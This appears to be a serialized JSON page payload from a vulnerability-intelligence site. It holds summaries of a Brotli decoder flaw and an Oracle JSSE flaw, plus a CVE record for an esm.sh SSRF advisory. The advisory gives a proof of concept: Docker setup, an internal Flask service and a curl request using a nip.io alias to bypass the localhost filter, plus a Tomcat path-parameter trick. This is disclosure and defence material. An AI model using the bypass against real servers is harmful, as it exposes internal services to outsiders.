[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-27730":30,"landing-articles":81},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":49,"technologies":52,"references":55,"score":62,"epss_score":63,"epss_percentile":64,"is_kev":65,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":66,"attack_mappings":72,"exploits":79},16266,"CVE-2026-27730","EUVD-2026-8685","esm.sh has SSRF localhost\u002Fprivate-network bypass in `\u002Fhttp(s)` module route\n\n### Summary\nAn SSRF vulnerability (CWE-918) exists in esm.sh’s `\u002Fhttp(s)` fetch route.  \nThe service tries to block localhost\u002Finternal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, `127.0.0.1.nip.io` resolving to `127.0.0.1`).  \nThis allows an external requester to make the esm.sh server fetch internal localhost services.  \nSeverity:  High (depending on deployment network exposure).\n\n### Details\nThe vulnerable flow starts at the route handling user-controlled remote URLs:\n\n- `server\u002Frouter.go:532`\n  - Accepts paths beginning with `\u002Fhttp:\u002F\u002F` or `\u002Fhttps:\u002F\u002F`.\n ```go\nif strings.HasPrefix(pathname, \"\u002Fhttp:\u002F\u002F\") || strings.HasPrefix(pathname, \"\u002Fhttps:\u002F\u002F\") {\n\tquery := ctx.Query()\n\tmodUrl, err := url.Parse(pathname[1:])\n\tif err != nil {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tif modUrl.Scheme != \"http\" && modUrl.Scheme != \"https\" {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tmodUrlStr := modUrl.String()\n\n\t\u002F\u002F disallow localhost or ip address for production\n\tif !DEBUG {\n\t\thostname := modUrl.Hostname()\n\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t}\n\t}\n```\n\nThe internal-target block is string-based:\n\n- `server\u002Frouter.go:545`\n ```go\n\t\t\t\u002F\u002F disallow localhost or ip address for production\n\t\t\tif !DEBUG {\n\t\t\t\thostname := modUrl.Hostname()\n\t\t\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t\t\t}\n\t\t\t}\n```\n\nLocalhost detection itself is limited to hostname patterns:\n\n- `server\u002Futils.go:72`\n  - `isLocalhost(...)` checks values like `localhost`, `127.0.0.1`, and `192.168.*`.\n  - It does **not** validate the resolved destination IP after DNS resolution.\n```go\nfunc isLocalhost(hostname string) bool {\n\treturn hostname == \"localhost\" || strings.HasSuffix(hostname, \".localhost\") || hostname == \"127.0.0.1\" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, \"192.168.\"))\n}\n```\n\nFetch proceeds with host-string allowlisting:\n\n- `server\u002Frouter.go:595-596`\n  - `allowedHosts[modUrl.Host] = struct{}{}` then `fetch.NewClient(...allowedHosts)`\n```go\nallowedHosts := map[string]struct{}{}\nallowedHosts[modUrl.Host] = struct{}{}\nfetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)\ndefer recycle()\n```\n\n- `internal\u002Ffetch\u002Ffetch.go:49`\n  - Host allowlist compares host strings, not resolved IP class.\n```go\nfunc (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {\n\tif c.allowedHosts != nil {\n\t\tif _, ok := c.allowedHosts[url.Host]; !ok {\n\t\t\treturn nil, errors.New(\"host not allowed: \" + url.Host)\n\t\t}\n\t}\n\tif c.userAgent != \"\" {\n\t\tif header == nil {\n\t\t\theader = make(http.Header)\n\t\t}\n\t\theader.Set(\"User-Agent\", c.userAgent)\n\t}\n\t\u002F\u002F ...\n\treturn c.Do(req)\n}\n```\n\nBecause validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback\u002Fprivate IP can bypass protections.\n\n### PoC\nReproduction tested on local Docker deployment.\n\n1. Run esm.sh:\n```bash\ndocker run -d --name esmsh-5558 -p 5558:80 ghcr.io\u002Fesm-dev\u002Fesm.sh:latest\n```\n\n2. Run an internal localhost-only test service (`secret` response) in the same network namespace:\n- Internal network test server code (app.py):\n```python\nfrom flask import Flask, Response\n\n@app.get('\u002Fsecret.js')\ndef secret_js():\n    return Response('secret;\\n', mimetype='application\u002Fjavascript')\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=5555)\n```\n\nRun the internal Python server container (same network namespace as `esmsh-5558`):\n```bash\ndocker run -d --name internal-5555 --network container:esmsh-5558 \\\n  -v \"\u003CYOUR_PATH>\u002Fflask-internal:\u002Fapp\" -w \u002Fapp \\\n  python:3.11-alpine sh -lc \"pip install --no-cache-dir flask && python app.py\"\n```\n\nSince this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.\n\n4. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.\n```bash\ncloudflared tunnel --url http:\u002F\u002F127.0.0.1:5558\n```\n\n5. Trigger SSRF from outside via esm.sh endpoint:\n```bash\ncurl -i \"https:\u002F\u002FESM.SH_SERVER\u002Fhttp:\u002F\u002F127.0.0.1.nip.io:5555\u002Fsecret.js\"\n```\n\n127.0.0.1 is blocked,\n\u003Cimg width=\"1206\" height=\"322\" alt=\"image\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002F054a7675-5b9e-461a-bb55-9ec7a2b2f43b\" \u002F>\n\n\nbut 127.0.0.1.nip.io bypasses the filter. \n\u003Cimg width=\"1210\" height=\"336\" alt=\"image\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002F95b991b1-ff93-495f-b624-458dd48fd5ff\" \u002F>\n\n\nThis confirms external requesters can fetch internal localhost service content through esm.sh.\n\n### Impact\nThis is a Server-Side Request Forgery vulnerability (CWE-918).\n\nImpacted:\n- Any esm.sh deployment exposing the `\u002Fhttp(s)` route to untrusted users.\n- Environments where internal services are reachable from the esm.sh server\u002Fcontainer network.\n\nPotential consequences:\n- Access to localhost\u002Finternal HTTP services not intended for public access.\n- Internal service discovery\u002Fprobing through the server.\n- Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata\u002Finternal admin APIs).\n- The exploit surface is extension-limited in this route (e.g., \".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"), so it is not a universal arbitrary-file fetch primitive.\n- Even with that limitation, **attackers can still verify whether internal HTTP services exist** and **retrieve internal JavaScript\u002FMarkdown resources (and similar allowed extension content) when present.**\n- If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as \u002Fasdf\u002F;asdf=a.js. As a result, **it could be possible to bypass extension checks while still receiving the response from the intended path.**","2026-02-25T22:57:00Z",{"cvss_v3.0":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":44,"attackComplexity":45,"availabilityImpact":44,"privilegesRequired":44,"confidentialityImpact":42},"CHANGED","3.0",8.6,"NETWORK","HIGH","CVSS:3.0\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:H\u002FI:N\u002FA:N","NONE","LOW",true,[48],"CWE-918",[50,51],"cpe:2.3:a:esm:esm.sh:*:*:*:*:*:*:*:*","cpe:2.3:a:esm-dev:esm.sh:*:*:*:*:*:*:*:*",[53,54],"Esm Esm.Sh","Esm-Dev Esm.Sh",[56,57,58,59,60,61],"https:\u002F\u002Fgithub.com\u002Fesm-dev\u002Fesm.sh\u002Fsecurity\u002Fadvisories\u002FGHSA-p2v6-84h2-5x4r","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-27730","https:\u002F\u002Fgithub.com\u002Fesm-dev\u002Fesm.sh\u002Fpull\u002F1149","https:\u002F\u002Fgithub.com\u002Fesm-dev\u002Fesm.sh\u002Fcommit\u002F0593516c4cfab49ad3b4900416a8432ff2e23eb0","https:\u002F\u002Fgithub.com\u002Fesm-dev\u002Fesm.sh","https:\u002F\u002Fgithub.com\u002Fesm-dev\u002Fesm.sh\u002Freleases\u002Ftag\u002Fv137",0.78,0.00386,0.32416,false,{"timestamp":6,"automatable":67,"tech_impact":68,"exploitation":69,"cisa_decision":70,"cisa_remediation_timeline":71},"no","partial","none",{},"FSU",[73],{"name":74,"source":75,"tactics":76,"technique_id":78},"Exploit Public-Facing Application","attack_vector",[77],"initial-access","T1190",[80],{"link":56},{"count":82,"next":83,"previous":6,"results":84},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[85,93,101],{"id":86,"title":87,"summary":88,"published_at":89,"type":90,"link":91,"image_url":92},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":94,"title":95,"summary":96,"published_at":97,"type":98,"link":99,"image_url":100},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":102,"title":103,"summary":104,"published_at":105,"type":106,"link":107,"image_url":108},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]